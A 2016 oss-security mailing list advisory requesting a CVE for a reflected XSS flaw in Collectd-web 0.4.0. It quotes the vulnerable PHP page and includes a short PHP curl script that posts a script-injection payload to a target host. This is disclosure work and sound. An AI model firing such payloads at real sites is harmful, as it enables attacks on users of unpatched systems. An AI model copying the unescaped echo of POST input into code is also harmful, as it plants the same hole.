[<prev] [next>] [day] [month] [year] [list]
Message-ID: <CAC3DZsSAGJO6N4FbF_A4LU669hwsXST_vqKsR9zzEkPrKRr=Uw@mail.gmail.com>
Date: Sun, 22 May 2016 04:18:15 -0400
From: Mehrdad Linux <mehrdadlinux@...il.com>
To: oss-security@...ts.openwall.com
Subject: CVE Request -XSS Vulnerabilitie in Collectd-web
Title -Collectd-web XSS
# Exploit Title : XSS Vulnerabilitie in Collectd-web
# Date: Sun May 22 11:55:36 EDT 2016
# Reported Date : Sun May 22 11:55:36 EDT 2016
# Vendor Homepage: https://collectd.org/wiki/index.php/Collectd-web
# Version: Version: 0.4.0
# Software Link: https://github.com/httpdss/collectd-web
# solution :https://github.com/httpdss/collectd-web/issues/77
# Exploit Author :MehrdadLinux
# Tested On : Linux Platforms.
# Facebook : https://facebook.com/MehrdadLinux
# Twitter : http://twitter.com/MehrdadLinux
# Detailed Vul: http://blog.opsnit.com
===========================================================================================
1. VULNERABILITY
-------------------------
XSS Vulnerabilitie in Collectd-web 0.4.0 – January2016
2. BACKGROUND
-------------------------
Collectd-web is a web-based front-end for RRD data collected by collectd.
It is based on contrib/collection.cgi, a demo CGI script included in
collectd.
With strong emphasis on the usage of Jquery and JqueryUI, Collectd-Web
manages to give sysadmins a nice yet functional interface.
3. DESCRIPTION
-------------------------
XSS in ajax_post.php
https://github.com/httpdss/collectd-web/blob/master/media/jqtouch/demos/main/ajax_post.php
1 <?php
2 $theaters = array("Los Gatos Cinema","Cinelux Plaza Theatre","Camera
7");
3 $movies = array("Transformers","Knocked Up","Live Free Die Hard");
4 $title = "-";
5 if ($_POST["zip"]) {
6 $title = "Zip " . $_POST['zip'];
7 } else {
8 $title = $_POST['movie'];
9 }
10 ?>
11 <div>
12 <div class="toolbar">
13 <h1><?php echo $title ?></h1>
14 <a href="#" class="button back">Back</a>
15 </div>
16 <ul class="edgetoedge">
17 <?php
18 if ($_POST['zip']) {
19 foreach ($theaters as $theater) {
20 echo '<li><a href="#theater">' . $theater . '</a></li>';
21 }
22 } else {
23 foreach ($movies as $movie) {
24 echo '<li><a href="#movie">' . $movie . '</a></li>';
25 }
26 }
27 ?>
28 </ul>
29 <form action="ajax_post.php" method="POST">
30 <ul class="rounded">
31 <li><input type="text" name="zip" value="" placeholder="Live
post event test" /></li>
32 </ul>
33 <a style="margin:0 10px;color:rgba(0,0,0,.9)" href="#"
class="submit whiteButton">Submit</a>
34
35 </form>
36 </div>
in line 5 have VULNERABILITY in zip POST method
====================================Exploit=========================================
<?php
$yourtarget = $argv[1];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://
$yourtarget/collectd-web/media/jqtouch/demos/main/ajax_post.php");
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01;
Windows NT 5.0)");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,
"movie=></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(77,101,104,114,100,97,100,76,105,110,117,120,32,88,83,83))</SCRIPT>");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);
echo $buf;
?>
=================================================================================
4. discovered by :
-------------------------
The vulnerability has been discovered by Mehrdad Abbasi(MehrdadLinux) and
Hossein Masoudi (cs.masoudi)
email : MehrdadLinux (at) gmail (dot) com
http://opsnit.com
5 .LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this
information.
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
